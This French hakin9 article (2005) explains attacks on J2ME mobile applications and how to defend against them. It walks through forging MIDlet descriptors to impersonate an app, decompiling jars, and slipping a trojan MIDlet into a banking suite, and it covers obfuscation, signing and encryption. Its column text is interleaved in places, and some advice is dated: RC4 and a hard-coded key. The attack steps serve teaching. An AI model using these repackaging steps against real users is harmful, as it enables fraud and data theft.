La vocation du fichier du descripteur est de décrire un MIDlet lui correspondant. C'est un fichier texte comprenant la liste des attributs (des traits caractéristiques) du MIDlet. Certains attributs sont obligatoires et les autres facultatifs. Bien sûr, chacun développeur peut créer ses propres attributs. Les attributs décrits dans le fichier de descripteur doivent être également enregistrés dans le fichier de manifeste étant un élément composant de l'archive .jar (en règle générale, le manifeste est une copie fidèle du descripteur sauf MIDlet-JarSize et les attribtuts liés à la certification des applications). Lors de l'installation d'une application téléchargée, les valeurs des attributs dans le fichier de manifeste et dans le fichier de descripteur sont mises en comparaison. S'il y a une incompatibilité entre elles, l'application est rejetée par JAM (Java Application Manager, gestionnaire des applications dans les périphériques mobiles). Voici les attributs obligatoires du descripteur des applications : MIDlet-Jar-Size: 37143
MIDlet-Jar-URL: http://www.address.com/applications/XMLMIDlet.jar MIDlet-Name: XMLMIDlet
MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0
MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0
MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet
L'attribut MIDlet-Jar-Size définit la taille de l'archive en octets. Si la taille de l'archive téléchargée diffère de celle déclarée dans cet attribut, JAM constatera un essai d'attaque et il rejettera un MIDlet Suite. MIDlet-Jar-Url contient l'adresse Internet depuis laquelle JAM doit télécharger une application. Les autres attributs définissent le nom de l'application, le fournisseur et la configuration requise (si le périphérique n'est pas capable de satisfaire à l'une des exigences matérielles, l'application ne sera pas téléchargée). L'attribut MIDlet-1 comprend trois paramètres – le nom de l'application et son icône (ceux-ci sont affichés à l'utilisateur) ainsi que le nom de la classe principale de l'application. Un paquet (fichier .jar) peut contenir plus d'une application – dans le descripteur de ce paquet, il y aura alors plusieurs attributs MIDlet-n ( MIDlet-1, MIDlet-2, MIDlet-3 ...) définissant les applications suivantes faisant partie du paquet. Voici certains attributs facultatifs :
sur son ordinateur une application autre que celle qu'il veut. Chaque application mobile (MIDlet Suite) est constituée de deux parties – un fichier avec l'extension .jar étant une archive comprenant les applications avec un fichier de manifeste et un fichier avec l'extension .jad étant un descripteur (description) des applications compressées (voir l'Encadré Fichier de descripteur de l'application). Admettons que vous vouliez vous faire passer pour une application très populaire – XMLmidlet, lecteur news – puis faire en sorte que les utilisateurs téléchargent votre application sur leurs périphériques tout en étant sûrs qu'ils téléchargent un produit adéquat. Lors du chargement du MIDlet, JAM (Java Application Manager – gestionnaire des applications J2ME dans un périphérique mobile) lit les attributs du MIDlet enregistrés dans le fichier de descripteur (fichier .jad) et il les présente à l'utilisateur pour que celui-ci puisse prendre une décision sur le chargement de l'application. Le processus de chargement de l'application se déroule selon les étapes suivantes : •
MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com
MIDlet-Permissions: javax.microedition.io.Connector.socket
MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl
•
MIDlet-Certificate-1-1: [ ici, le certificat du signataire ]
MIDlet-Jar-RSA-SHA1: [ ici, la signature (abréviation) du fichier .jar ]
Les deux premiers fournissent les informations supplémentaires affichées à l'utilisateur lorsque l'on lui demande son accord pour charger une application vers son périphérique mobile – une brève description de l'application et l'adresse URL à laquelle vous pouvez trouver plus d'informations sur l'application elle-même et sur son éditeur. Les attributs suivants sont liés à l'élargissement du module de sécurité dans MIDP 2.0 (voir l'Encadré Élargir le modèle de sécurité dans MIDP 2.0). Attributs utilisateur :
•
•
MIDlet-Certificate: EU Security Council MIDlet-Region: Europe MIDlet-Security: High
Ce sont les attributs créés par le développeur (fournisseur) de l'application et ils ne sont pas utilisés par JAM.
•
hakin9 N o 2/2005
www.hakin9.org
l'utilisateur reçoit l'information sur la localisation du MIDlet ou plus précisément sur la localisation de son fichier de descripteur au moyen de WAP, HTTP ou d'un autre mécanisme, l'adresse du fichier de descripteur est transmise à JAM qui télécharge le fichier de descripteur et lit les attributs y enregistrés, JAM présente à l'utilisateur les informations du fichier de descripteur et il lui demande si l'application doit être téléchargée, si l'utilisateur l'accepte, JAM télécharge l'application, il décompresse l'archive et compare le fichier de manifeste (faisant partie de l'archive) avec le fichier .jad ; si les valeurs des attributs dans le fichier de manifeste diffèrent des valeurs des attributs dans le fichier de descripteur, l'application sera rejetée, JAM vérifie et installe l'application.
19
Listing 1. Descripteur de l'application mobile MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com MIDlet-Jar-Size: 41002 MIDlet-Jar-URL: XMLMIDlet.jar MIDlet-Name: XMLMIDlet MIDlet-Permissions: javax.microedition.io.Connector.socket MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0
Listing 2. Descripteur modifié
Bases
MIDlet-1: XMLMIDlet, XMLMIDlet.png, EvilMIDlet MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com MIDlet-Jar-Size: 23191 MIDlet-Jar-URL: XMLMIDlet.jar MIDlet-Name: XMLMIDlet MIDlet-Permissions: javax.microedition.io.Connector.socket MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0
20
Dans le Listing 1, vous pouvez voir le descripteur du MIDlet que nous voulons falsifier. JAM le présentera à l'utilisateur de façon indiquée sur la Figure 1. Comme vous pouvez le voir, JAM réécrit tout simplement sur l'écran le contenu de certains attributs du fichier .jad – pour se faire passer pour une autre application, il suffit de créer une application avec un descripteur identique que celui de l'application originale. Bien sûr, notre jeu sera dévoilé au premier démarrage de l'application mais parfois cela suffit pour faire des dégâts considérables. Admettons que vous teniez à ce que l'utilisateur télécharge votre application – EvilMIDlet, virus envoyant à son créateur tout le carnet d'adresses du périphérique, sous prétexte de télécharger XMLMIDlet. La première opération à effectuer consiste à falsifier les fichiers de manifeste et de descripteur. Pour cela, il faut modifier le fichier original présenté dans le Listing 1. Le fichier falsifié du descripteur est montré dans le Listing 2. Le fichier de manifeste sera presque identi-
que – seul l'attribut MIDlet-Jar-Size sera différent, ce qui est bien évident. Comme vous le voyez, le nouveau fichier diffère par deux points seulement : le nom de la classe appelée (attribut MIDlet-1) et la taille du fichier .jar (attribut MIDlet-Jar-Size). La chose suivante à faire consiste à créer une archive .jar qui constituera avec le fichier falsifié de descripteur une application prête à être publiée : jar –cmj XMLMIDlet.jar manifest.mf *.*
Cette commande permet de créer une archive .jar nommée XMLMIDlet.jar, d'y ajouter le fichier de manifeste créé à la base du fichier manifest.mf et d'ajouter à l'archive tous les fichiers du répertoire actuel. Le fichier manifest.mf un fichier texte ordinaire presque identique au fichier de descripteur – l'attribut MIDlet-JarSize en moins est la seule différence. La dernière étape de l'attaque à réaliser est de mettre une application falsifiée sur le net et d'encourager les victimes potentielles à télécharger le
www.hakin9.org
Figure 1. Questions posées par JAM à l'utilisateur code malveillant – il existe plusieurs moyens permettant de le faire. La seule méthode de défense contre les attaques de ce type consiste à signer les MIDlets (voir l'Encadré Domaines de sécurité et signatures des applications).
Scénario n° 2 – vol du code
L'utilisateur malveillant peut vouloir obtenir l'accès au code source de l'application. Les raisons en peuvent être multiples – le vol du code, le fait d'essayer de briser les mécanismes de sécurisation d'une application, la volonté de connaître la méthode de ponctuation dans un jeu, etc. Le fichier .jar est une archive ordinaire compressée à l'aide de l'algorithme zip. Pour obtenir l'accès aux fichiers .class sous Windows, il suffit de remplacer l'extension du fichier .jar par .zip et de se servir de n'importe quelle application d'archivage. Sous Linux, cela est encore plus simple – il suffit d'utiliser le logiciel unzip : $ unzip nomfichier.jar
Ainsi, vous pouvez décompresser l'archive dans un répertoire choisi sur le disque. Prenons comme exemple XMLMIDlet. Après avoir défini l'extension .zip et décompressé l'archive à l'aide de WinZip, vous obtenez le même résultat que celui présenté sur la Figure 2. Décompressez les fichiers dans un répertoire choisi et ouvrez l'un
hakin9 N o 2/2005
Attaques contre les applications J2ME
d'eux avec un décompilateur du langage Java. Sur le net, il y a plein de solutions gratuites – nous allons utiliser DJ Java Decompiler (voir l'Encadré Sur le réseau) tournant dans l'environnement Windows. Avec son aide, ouvrez le fichier principal de l'application. Dans notre cas – nous le savons grâce au fichier de descripteur – XmlAdvMIDlet.class est le fichier principal de l'application. Le processus de décompilation est présenté sur la Figure 3. C'est tout. Comme vous voyez, même un utilisateur peu expérimenté avec le système Windows peut accéder sans problèmes au code source des applications J2ME. Une fois la décompilation terminée, il peut le modifier, compiler, créer ses propres applications ou l'étudier afin de briser les systèmes de sécurité de l'application originale. La protection contre le vol du code est simple – il faut utiliser un obfuscateur. Sa tâche est de remplacer les identifiants et les parties du code par des chaînes de caractères non caractéristiques et plus courts. La vocation de l'obfuscateur est de supprimer tous les commentaires, remplacer les constantes par leurs valeurs et les noms des variables et des classes par des noms peu lisibles pour l'homme. Les outils de ce type sont également capables de détecter et de supprimer les champs non utilisés, ainsi que les méthodes privées des classes Java. Toutes ces opérations contribuent à ce que le reverse engineering soit beaucoup plus difficile à réaliser et à ce que la taille de l'application diminue, ce qui est également important (cela influence son efficacité). Quel est le résultat du fonctionnement des obfuscateurs ? Le Listing 3 présente le code source de la procédure permettant d'authentifier les utilisateurs à l'aide du code PIN. Dans le Listing 4, vous pouvez voir la version décompilée du code non sécurisé à l'aide de l'obfuscateur et dans le Listing 5, il y a le code décompilé de la procédure sécurisée. Comme vous pouvez le voir, la procédure n'est plus lisible et les variables globales non standard ap-
hakin9 N o 2/2005
Figure 2. Décompression du fichier .jar dans Windows
Figure 3. Décompilation du fichier .class paraissent : fldnull, fldif, etc. L'exemple donné est simple mais il explique bien le principe de fonctionnement des obfuscateurs. Sur la Figure 4, vous pouvez voir l'archive .jar avec les classes sécurisées à l'aide de l'obfuscateur – le fait de l'utiliser ne permet pas d'éviter la décompression de l'archive mais il rend les autres opérations beaucoup plus difficiles. À vrai dire, il est possible de constater quel fichier est le
www.hakin9.org
plus important (XmlAdvMIDlet ; ce nom n'a pas pu être changé car JAM doit savoir quel fichier doit être chargé en premier) mais à part cela, rien ne peut être déduit – l'identification des classes en fonction des noms n'est plus possible. Les obfuscateurs peuvent être téléchargés depuis Internet – il existe plusieurs solutions gratuites. Et ce qui est plus important, les logiciels de création d'applications mobiles
21
Listing 3. Code source de la procédure J2ME public void commandAction(Command c, Displayable d) { if (c.getCommandType()==Command.OK) { switch(logique) { case 1 : // l'utilisateur a entré le numéro PIN // et il a appuyé sur ok if (textBox.getString().equals(pin)) { logique =2; display.setCurrent(list); } else // PIN non valide { alert.setString("PIN non valide!"); display.setCurrent(alert); } break; case 2: // l'utilisateur a choisi un élément dans la liste logique =3; display.setCurrent(form); break; case 3: // l'utilisateur a rempli le formulaire alert.setString("Merci de donner vos coordonnées personnelles!"); display.setCurrent(alert); } } if (c.getCommandType()==Command.EXIT) { destroyApp(true); notifyDestroyed(); } }
Bases
Listing 4. Code source décompilé de l'application non sécurisée à l'aide de l'obfuscateur
22
public void commandAction(Command command, Displayable displayable) if(command.getCommandType() == 4) switch(logique) { default: break; case 1: // '\001' if(textBox.getString().equals(pin)) { logique = 2; display.setCurrent(list); } else { alert.setString("PIN non valide!"); display.setCurrent(alert); } break; case 2: // '\002' logique = 3; display.setCurrent(form); break; case 3: // '\003' alert.setString("Merci de donner vos coordonnées personnelles!"); display.setCurrent(alert); break; } if(command.getCommandType() == 7) { destroyApp(true); notifyDestroyed(); } }
{
www.hakin9.org
les plus populaires (y compris Sun Wireless Toolkit) permettent l'intégration d'un obfuscateur. Les adresses Internet des logiciels de cette classe se trouvent dans l'Encadré Sur le réseau.
Scénario n° 3 – cheval de Troies
Conformément à l'une des règles définissant le bac à sable J2ME (voir l'Encadré Bac à sable (sandbox)), les différentes applications ne peuvent pas lire réciproquement leurs données. Pourtant, cette méthode de sécurisation peut être contournée – la création des chevaux de Troies est également possible dans J2ME. Admettons qu'une banque mette à disposition de ses clients un service d'accès à leur compte bancaire depuis un téléphone mobile. L'utilisateur doit simplement télécharger une application J2ME depuis le portail de la banque et l'installer sur son périphérique. L'application permet la connexion distante à la banque, la vérification de l'état du compte et le téléchargement des informations sur les opérations effectuées sur le compte dans une période de temps. Ces données sont enregistrées dans le périphérique afin de présenter facilement et rapidement l'historique du compte bancaire à l'utilisateur et de diminuer le nombre des données envoyées. Le fichier .jar (MIDlet Suite) comprend, en règle générale, une seule application et ses ressources (images, sons, etc.) mais il est possible de créer des paquets comprenant quelques applications. Une fois le MIDlet Suite téléchargé et démarré, le menu contenant la liste des applications composantes est affiché. L'utilisateur choisit l'application qu'il veut démarrer. L'attaque contre une application bancaire de ce type consistera à ajouter à son MIDlet Suite une application supplémentaire aux propriétés néfastes. Quels peuvent être les avantages de cette attaque ? Dans J2ME, les permissions sont accordées aux paquets entiers – l'application ajoutée aura l'accès à la même API protégée que l'application bancaire (l'application malveillante abusera de la
hakin9 N o 2/2005
Attaques contre les applications J2ME
Listing 5. Résultat de la décompilation du code sécurisé à l'aide de l'obfuscateur public void commandAction(Command command, Displayable displayable) if(command.getCommandType() == 4) switch(_fldnull) { default: break; case 1: // '\001' if(_fldgoto.getString().equals(a)) { _fldnull = 2; _fldchar.setCurrent(_fldbyte); } else { _fldcase.setString("PIN non valide!"); _fldchar.setCurrent(_fldcase); } break; case 2: // '\002' _fldnull = 3; _fldchar.setCurrent(_fldif); break; case 3: // '\003' _fldcase.setString("Merci de donner vos coordonnées personnelles!"); _fldchar.setCurrent(_fldcase); break; } if(command.getCommandType() == 7) { destroyApp(true); notifyDestroyed(); } }
{
Figure 4. L'archive .jar avec les classes sécurisées à l'aide de l'obfuscateur confiance de l'utilisateur de l'application bancaire afin d'obtenir l'accès à l'API protégée). En outre, les applications faisant partie du même paquet
hakin9 N o 2/2005
partagent la mémoire commune des données (persistent storage). Si un MIDlet (application bancaire, par exemple) y crée son record store,
www.hakin9.org
toutes les applications appartenant au même paquet pourront y accéder. Comment réaliser une attaque de ce type ? La première opération à effectuer consiste à posséder l'application attaquée. Cela ne devrait pas être difficile à faire. Le processus de téléchargement de l'application sur un téléphone mobile consiste à ce que le périphérique télécharge le fichier .jad, lise l'emplacement du fichier .jar (attribut MIDlet-Jar-URL) et télécharge l'application. Cette opération est effectuée au moyen du protocole HTTP – cela signifie que tout le processus peut être effectué sans aucun efforts spéciaux sur un PC à l'aide d'un navigateur Web ordinaire. À l'étape suivante, l'application téléchargée doit être décompressée dans un répertoire choisi – comme indiqué dans le scénario n° 2 – et les classes malveillantes (leurs fichiers .class) doivent y être copiées. Ensuite, il faut modifier les fichiers de manifeste et de descripteur. Un nouvel attribut : MIDlet-2 est la seule modification, mise à part la nouvelle taille de l'application. Il faut l'ajouter pour informer JAM que le paquet comprend plus d'une application (les attributs MIDlet-3, MIDlet-4, etc. doivent être ajoutés si vous souhaitez ajouter plus d'applications). Cet attribut permet d'ajouter votre application au menu affiché à l'utilisateur (voir la Figure 5). Si vous admettez que le XMLMIDlet décrit auparavant soit une application attaquée, le fichier orignal de descripteur se trouve dans le Listing 1. Listing 6 présente le fichier .jar modifié. Enregistrez le fichier présenté dans le Listing 6 en tant que manifest.mf, supprimez la ligne contenant l'attribut MIDlet-Jar-Size (voir l'Encadré Fichier de descripteur de l'application) et créez une archive : jar –cmf XMLMIDlet.jar manifest.mf *.*
Cette commande comme dans le scénario n°1 permet de créer l'archive .jar nommée XMLMIDlet.jar, d'y ajouter le fichier de manifeste créé à la base du fichier manifest.mf, puis
23
Listing 6. Le descripteur modifié de l'application mobile – application ajoutée
Bases
MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet MIDlet-2: WinPrize, XMLMIDlet.png, EvilMIDlet MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com MIDlet-Jar-Size: 62195 MIDlet-Jar-URL: XMLMIDlet.jar MIDlet-Name: XMLMIDlet MIDlet-Permissions: javax.microedition.io.Connector.socket MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0
d'ajouter à l'archive tous les fichiers du répertoire actuel. La Figure 5 représente la vue affichée sur l'écran du périphérique. Une fois MIDlet Suite installé, l'utilisateur a au choix deux applications à démarrer – l'une originale et l'autre malveillante. Maintenant, il ne reste à l'attaquant que de persuader les utilisateurs de télécharger la version modifiée de MIDlet Suite. Il est possible de le faire en envoyant aux utilisateurs d'un portail un message e-mail avec un lien vers la page falsifiée dont l'apparence ressemble à celle de la page d'une banque. Une seule méthode de protection contre les attaques de ce type est de signer les MIDlets (voir l'Encadré Domaines de sécurité et signatures des applications). L'utilisateur est alors sûr de la source de l'application téléchargée et que personne ne l'a modifiée – dans le descripteur de l'application, il y a la signature du fournisseur de la distribution et l'abréviation (créée au moyen de la fonction SHA) du fichier .jar. Bien que cela ne rende pas l'attaque impossible à réaliser, l'application modifiée ne sera pas signée (à moins que l'attaquant ait accès à la clé privée du distributeur de l'application mais cela est pratiquement impossible).
Scénario n° 4 – vol du périphérique
De plus en plus de téléphones mobiles ou PDA utilisent des cartes mémoire externes pour enregistrer
24
des données. Il arrive très souvent que non seulement les applications téléchargées soient stockées sur ces cartes mais aussi leurs données. Le périphérique mobile peut être facilement perdu à la suite d'un vol ou d'une perte – et les données peuvent alors tomber facilement dans les mains de personnes malveillantes (le lecteur de cartes flash suffit). Pour les périphériques stockant les données sur les supports de mémoire non amovibles, ce problème n'existe pas en général – la lecture des données est possible bien évidemment mais cela n'est pas si facile que ça (pour cela, il faut un câble reliant le périphérique à l'ordinateur, un logiciel adéquat et un certain savoir-faire en matière d'électronique). Comment alors protéger les données confidentielles contre la lecture non sollicitée ? Il faut les chiffrer. En utilisant la clé enregistrée en dur dans le code de l'application (ou encore mieux – entrée par l'utilisateur), vous devez chiffrer les données que vous souhaitez enregistrer sur la carte flash, par exemple. Ainsi, une chaîne de bits sans signification (pour un logiciel non averti) sera enregistrée dans le périphérique. Pour mettre à jour les données (ajouter les coordonnées d'un nouvel ami, par exemple), il faut lire les données depuis le record store au moyen de méthodes standard, puis les déchiffrer en utilisant la même clé que celle mise en œuvre lors du chiffrage. Toute la difficulté est de chiffrer les données juste avant de les enregis-
www.hakin9.org
Figure 5. Nouvelle position dans le menu MIDlet Suite affichée après avoir ajouté l'attribut MIDlet-2 au fichier de descripteur trer dans le record store et de les déchiffrer juste après la lecture. Malheureusement, ni MIDP 1.0, ni MIDP 2.0 ne mettent à disposition des bibliothèques de chiffrage – il faut alors utiliser l'un des paquets externes disponibles sur le net (pour trouver leurs adresses, reportez-vous à l'Encadré Sur le réseau). Vous avez quelques bibliothèques au choix parmi lesquelles Bouncy Castle, bibliothèque Open Source utilisant la plupart des algorithmes de chiffrage, est la plus populaire. Comme sa taille est assez importante (1 Mo environ), elle ne peut pas être utilisée entièrement sur le périphérique mobile. Heureusement,
hakin9 N o 2/2005
Attaques contre les applications J2ME
cipher.init(true,
Bac à sable (sandbox)
J2ME est sécurisé à chaque étape de la gestion des applications mobiles : •
•
•
•
•
le téléchargement, le chargement et le démarrage de l'application sont effectués par la machine virtuelle et le développeur ne peut pas y accéder. Dans J2ME, il est impossible d'installer votre propre classloader. Le développeur peut accéder à une API bien définie et le langage Java ne lui permet pas de créer le code malveillant (par exemple, le manque des indicateurs et la surveillance de l'indexage des tableaux ne permettent pas d'accéder à ces zones de la mémoire auxquelles le processus d'utilisateur ne doit pas avoir accès). Comme dans J2SE ordinaire, les classes sont soumises à la vérification bien que cela se passe de manière différente. Le processus de vérification des classes juste avant de démarrer l'application est très exigeant – aussi bien en ce qui concerne la puissance de calcul que la mémoire. C'est pourquoi, dans Java 2 Micro Edition, une partie du processus de vérification des classes a été transférée vers l'ordinateur où la compilation de l'application est effectuée. Cette partie de la vérification s'appelle la pré-vérification. Cela consiste à ce que, lors de la compilation, certaines informations supplémentaires soient ajoutés au code de la classe. Au démarrage de l'application, la machine virtuelle du périphérique mobile lit les informations ajoutées et en s'y appuyant, elle prend une décision sur un éventuel rejet de l'exécution de l'application. Le processus d'analyse des informations ajoutées lors de la pré-vérification ne demande pas une aussi grande puissance du processeur que la vérification complète et les informations sur la sécurité de la classe elles-mêmes font augmenter son code de 5% à peine. Dans J2ME, vous trouverez un ensemble de méthodes sûres dont l'appel ne met pas en danger la sécurité. L'appel d'une méthode quelconque ne faisant pas partie de cet ensemble (méthode protégée) entraîne l'affichage d'un avertissement approprié sur l'écran du périphérique, y compris la demande à l'utilisateur de confirmer une telle opération. L'exemple de l'API protégée peut être le paquet javax.microedition.io comprenant les objets représentant les différents protocoles de communication supportés – l'établissement de la connexion réseau dans l'application sera suspendu jusqu'à l'obtention de l'accord de l'utilisateur. Les MIDlets peuvent enregistrer les données dans un téléphone mobile (persistent storage) et être regroupés en paquets (MIDlet Suite). Les MIDlets étant membres d'un paquet MIDlet peuvent manipuler réciproquement sur leurs données mais l'accès à ces données n'est pas autorisé aux MIDlets faisant partie d'un autre paquet. Autrement dit – l'application-espion nouvellement téléchargée depuis Internet faisant semblant d'être un jeu populaire ne peut pas lire le numéro du compte et le nom de la banque enregistrés dans un périphérique par une application bancaire installée au préalable.
Cet ensemble de règles porte le nom de bac à sable (sandbox) où les applications mobiles sont démarrées. MIDlet n'a pas le droit d'appeler certaines méthodes et les autres (celles concernant les connexions réseaux, par exemple) peuvent être appelées seulement après être confirmées par l'utilisateur. Au niveau sécurité, cela ressemble beaucoup au modèle de sécurité des applets dans J2SE ayant l'accès à l'écran ou au clavier, pouvant établir les connexions réseaux mais n'ayant pas de droits d'écriture sur le disque. La même chose concerne les MIDlets – ils ont l'accès à l'écran et au clavier (touchpad ou manipulateur), ils disposent d'un espace mémoire alloué mais pour établir la connexion réseau, ils doivent demander l'accord de l'utilisateur.
cela n'est pas nécessaire – la licence permet de modifier la bibliothèque et de n'ajouter à l'application créée que les classes que seront mises en pratique. La création d'une application capable de chiffrer des données quelconques requiert en général la connaissance de J2ME et l'écriture
hakin9 N o 2/2005
d'un logiciel adéquat. Pour chiffrer des données quelconques, nous allons utiliser l'un des transcodeurs faisant partie de ce paquet (le chiffrage de flux et le chiffrage de bloc sont possibles) : StreamCipher cipher = new RC4Engine();
www.hakin9.org
new KeyParameter(key));
Dans la première ligne, un objet du transcodeur demandé est créé. L'étape suivante consiste à l'initialiser. La procédure init() adopte le paramètre true si le transcodeur est utilisé pour chiffrer les données et le paramètre false pour le déchiffrage de celles-ci. La clé (chaîne de bits) intégrée dans la classe KeyParameter est le second paramètre de cette procédure. Le chiffrage de données consiste à appeler la méthode processBytes() : byte [] text =”hakin9”.getBytes(); byte [] cipheredText = new byte(text.length); cipher.processBytes(text, 0, text.length, cipheredText, 0);
Cette méthode adopte en tant que paramètres le tableau d'octets (vos données) destiné au chiffrage, l'index de son premier champ et le nombre d'octets à chiffrer, le tableau de résultats (des octets chiffrés) et l'index où les octets chiffrés doivent être insérés. Maintenant, il suffit d'insérer la procédure de chiffrage (et de déchiffrage) avant chaque opération d'écriture et après chaque opération de lecture depuis le record store. Si l'écriture/la lecture des données est réalisée dans des procédures distinctes (readData(), writeData(), par exemple) de votre application, le chiffrage peut être effectué de façon inaperçue pour les couches supérieures de l'application.
Scénario n° 5 – écoute de la connexion réseau
Toute application sophistiquée utilise des connexions réseaux pour recevoir et envoyer des informations. Pour les différents types de jeux ou de logiciels d'information (horaire des moyens de communication urbaine, par exemple), ce ne sont pas des informations confidentielles. Cependant, il y a des situations où vous tenez beaucoup à sécuriser les données envoyées (l'application
25
Domaines de sécurité et signatures des applications Conformément à la spécifi cation MIDP 2.0 (Mobile Information Device Profi le – voir l'Encadré Élargir le modèle de sécurité dans MIDP 2.0), il doit être possible pour chaque périphérique de stocker de façon sûre les certifi cats définissant les profi lés de sécurité. Les certifi cats en question sont intégrés dans le périphérique par le fabricant et la méthode de leur stockage n'est pas définie. Un domaine de sécurité définissant la procédure pour une API protégée est associé avec chaque certifi cat stocké dans un périphérique mobile. Les domaines de sécurité sont constitués de deux parties : • •
ensemble des permissions devant être accordées à l'application si celle-ci le demande, ensemble des permissions devant être autorisées par l'utilisateur.
Lorsqu'une application exige une permission faisant partie du second ensemble, celle-ci doit être accordée en mode interactif. L'utilisateur peut accorder l'un de trois types de permissions : blanket – la permission toujours valide jusqu'à la désinstallation de l'application, session – la permission valide jusqu'à ce que l'application cesse de fonctionner et oneshot – la permission d'une seule fois. Chaque permission étant le composant du domaine ne peut faire partie que de l'un des ensembles ci-dessus. L'association de MIDlet avec un domaine de sécurité se fait par le signer. Le processus de signature du MIDlet se déroule de la manière suivante :
Bases
Élargir le modèle de sécurité dans MIDP 2.0
MIDP 2.0 permet l'élargissement du modèle de sécurité MIDP 1.0 (voir l'Encadré Bac à sable (sandbox)). Il comprend un jeu défini de permissions inhérentes aux méthodes protégées. Différents périphériques peuvent avoir un autre jeu d'API protégées en fonction des possibilités matérielles d'un périphérique, de sa destination et de la politique du fabricant. Les permissions sont accordées de façon hiérarchique et leurs noms correspondent aux noms des paquets auxquels ils sont assignés. Ainsi, le fait que le MIDlet possède des permissions appelées javax.microedition.io.HttpsConnection veut dire que l'application a le droit d'établir des connexions HTTPS. Les permissions ne sont utilisées que pour une API faisant partie de l'API protégée – à titre d'exemple, la permission nommée java.lang.Boolean est dépourvue de sens de point de vue de l'API et elle sera ignorée. La demande et l'assignation des permissions au MIDlet sont réalisées soit au moyen des domaines de sécurité et la signature du MIDlet (voir l'Encadré Domaines de sécurité et signatures des applications), soit à l'aide des attributs MIDlet-Permissions dans le fichier de descripteur de l'application.
26
•
• •
mise en place du certificat (ou des certificats) de signature dans le fichier de descripteur (dans la section MIDlet-Certificate, l'encodage base64) avec le chemin de certification mais sans certificat supérieur (root certificate), création de la signature du fichier .jar, intégration de la signature dans le fichier .jad (dans la section MIDlet-Jar-RSA-SHA1, l'encodage base64).
La vérification du MIDlet signé se déroule ainsi : •
• •
• • •
si le descripteur du MIDlet ne comprend pas la section MIDletJar-RSA-SHA1, il est considéré comme non fiable (les attributs MIDlet-Permissions sont interprétés conformément à la politique du périphérique concernant les MIDlets non fiables), les chemins de certification sont lus depuis la section MIDlet-Certificate, les certificats suivants sont vérifiés à l'aide des certificats supérieurs enregistrés dans le périphérique ; si la vérification se déroule bien (le premier certificat vérifié avec succès), un domaine de sécurité lié au certificat supérieur inscrit dans le périphérique (celui utilisé pour vérifier le chemin de certification) est assigné au MIDlet, la clé publique du signataire est obtenue à partir du certificat vérifié, la signature est lue depuis l'algorithme de signature MIDletJar-RSA-SHA1, la signature est vérifiée à l'aide de la clé publique et de l'algorithme de signature – si la vérification a échoué, le MIDlet est rejeté.
Avec chaque MIDlet utilisant l'API protégée deux ensembles des permissions requises sont associés : MIDlet-Permissions et MIDlet-Permissions-Opt. Les deux sont définis dans le descripteur de l'application affichant la liste des permissions. MIDlet-Permissions comprend les permissions indispensables pour que l'application tourne et dans MIDlet-Permissions-Opt, il y a des permissions sans lesquelles l'application peut se passer (au dépens d'une fonctionnalité, dans la plupart des cas). Si la politique de sécurité du périphérique ne permet pas aux MIDlets d'établir les connexions HTTPS, le MIDlet qui en a besoin pour fonctionner ne sera pas lancé – bien sûr, l'utilisateur pourra lire un message adéquat l'informant sur les raisons du rejet de l'application. Par contre, le MIDlet voulant établir les connexions HTTPS sans que cela soit nécessaire pour qu'il puisse marcher (texte javax.microedition.io.HttpsConnection dans MIDlet-Permissions-Opt) sera lancé. Sa tâche est d'informer l'utilisateur sur l'impossibilité d'utiliser les fonctionnalités basées sur ce mécanisme car le manque de HTTPS rend impossible les opérations distantes sur le compte. Pour trouver l'exemple d'utilisation de deux attributs, reportez-vous à l'Encadré Fichier de descripteur de l'application.
www.hakin9.org
hakin9 N o 2/2005
Attaques contre les applications J2ME
Sur le réseau Protocoles de sécurité les plus populaires utilisés dans MIDP 2.0 : • http://www.ietf.org/rfc/rfc2437 – PKCS #1 RSA Encryption Version 2.0, • http://www.ietf.org/rfc/rfc2459 – X.509 Public Key Infrastructure, • http://www.ietf.org/rfc/rfc2560 – Online Certificate Status Protocol, • http://www.wapforum.org/what/technical.htm – WAP Certificate Profile Specification. Obfuscateurs : • http://www.zelix.com/klassmaster/docs/j2mePlugin.html, • http://developers.sun.com/techtopics/mobility/midp/questions/obfuscate/, • http://www.codework.com/dashO/product.html, • http://www.retrologic.com/retroguard-main.html, • http://proguard.sourceforge.net/, Décompilateurs : • http://members.fortunecity.com/neshkov/dj.html, • http://www.andromeda.com/people/ddyer/java/decompiler-table.html, • http://www.bysoft.se/sureshot/cavaj/, • http://sourceforge.net/projects/dcompiler. Paquets de chiffrage : • http://www.bouncycastle.org, • http://www.phaos.com/products/category/micro.html, • http://www.b3security.com/. Wireless Toolkit : • http://java.sun.com/products/j2mewtoolkit/. J2ME et MIDP : • http://java.sun.com/j2me/, • http://java.sun.com/products/midp/, • http://jcp.org/aboutJava/communityprocess/final/jsr037/index.html, • http:// jcp.org/aboutJava/communityprocess/final/jsr118/index.html.
